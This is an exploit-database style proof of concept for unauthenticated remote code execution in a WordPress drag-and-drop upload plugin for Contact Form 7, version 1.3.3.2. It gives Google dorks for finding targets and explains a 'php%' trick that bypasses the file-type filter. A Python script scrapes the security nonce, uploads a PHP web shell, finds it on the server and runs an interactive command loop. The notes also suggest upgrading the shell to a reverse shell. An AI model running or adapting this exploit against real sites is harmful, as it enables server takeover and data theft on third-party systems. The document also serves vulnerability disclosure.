WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 – Remote Code Execution

# Exploit Title: WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution

# Date: 2020-05-11

# Exploit Author: Austin Martin

# Google Dork: inurl:wp-content/uploads/wp_dndcf7_uploads/

# Google Dork: inurl:wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

# Vendor Homepage: https://www.codedropz.com/

# Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

# Version: 1.3.3.2

# Tested on: WordPress 5.4.1, PHP 7.41

# CVE : N/A

# Notes:

# At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications

# Application was patched by vendor within 24 hours of initial disclosure

# This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed

# Any file types can be added to the "supported_type" parameter

# These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/

# Dangerous file types such as php have "_.txt" appended to the end creating a text file

# This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name

# ex. "php%" for file type and "shell.php%" for filename

# The PHP payload in the POC can be easily modified to gain a reverse shell

#!/usr/bin/python

import string

import random

import requests

from bs4 import BeautifulSoup

import sys

payloadurl=""

def RecurseLinks(base,file):

headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}

f = requests.get(base, headers=headers)

soup = BeautifulSoup(f.content, "html.parser")

for root in soup.find_all("a"):

href = root.get("href")

if (href.startswith("/")):

do = "nothing"

elif (href.endswith("/")):

RecurseLinks(base + href, file)

else:

if file in href:

print ("\n[+] File Found --> " + base + href)

global payloadurl

payloadurl = (base+href)

def main():

#os.system('cls')

print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution")

print("@amartinsec --> Twitter\nCVE:2020-12800\n")

#Build The Request

#Generate random URL for filename

file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6))

urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ")

#Finding the nonce used in the Ajax security string

print ("\n[+] Searching for security string nonce")

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}

homepage = requests.get(urlinput,headers=headers)

homepage = homepage.text

homepage = homepage.split("ajax_nonce\":\"",1)[1]

securitykey = homepage[:10]

print("[+] Found security string --> " + securitykey)

url = urlinput + "/wp-admin/admin-ajax.php"

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",

"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",

"Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest",

"Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601",

}

data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \

"php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \

"5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \

"dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \

"\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \

"\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \

"filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \

"<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \

"\r\n-----------------------------350278735926454076983690555601--\r\n"

print "\n[+] Sending payload to target"

response = requests.post(url, headers=headers, data=data)

if "200" in str(response):

print("[+] Looks like a successful file upload!\n")

elif "403" in str(response):

print("\nFile Upload Failed")

print("403 in response. Check security string")

sys.exit(1)

else:

print("File upload failed. Try the manual way with Burp")

sys.exit(1)

print("[+] Crawling for the uploaded file. This may take a minute...")

print("[+] Searching for " + file + ".php")

RecurseLinks(urlinput + "/wp-content/uploads/",file)

if payloadurl == "":

print("Can't find the file on the web server")

print("Try the manual method")

sys.exit(1)

#If all goes well, we can now send requests for RCE

print("[+] Success\n")

while True:

cmd= raw_input("[+] CMD: ")

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}

request = requests.get(payloadurl + "?e=" + cmd, headers=headers)

print request.text

if __name__ == "__main__":

main()

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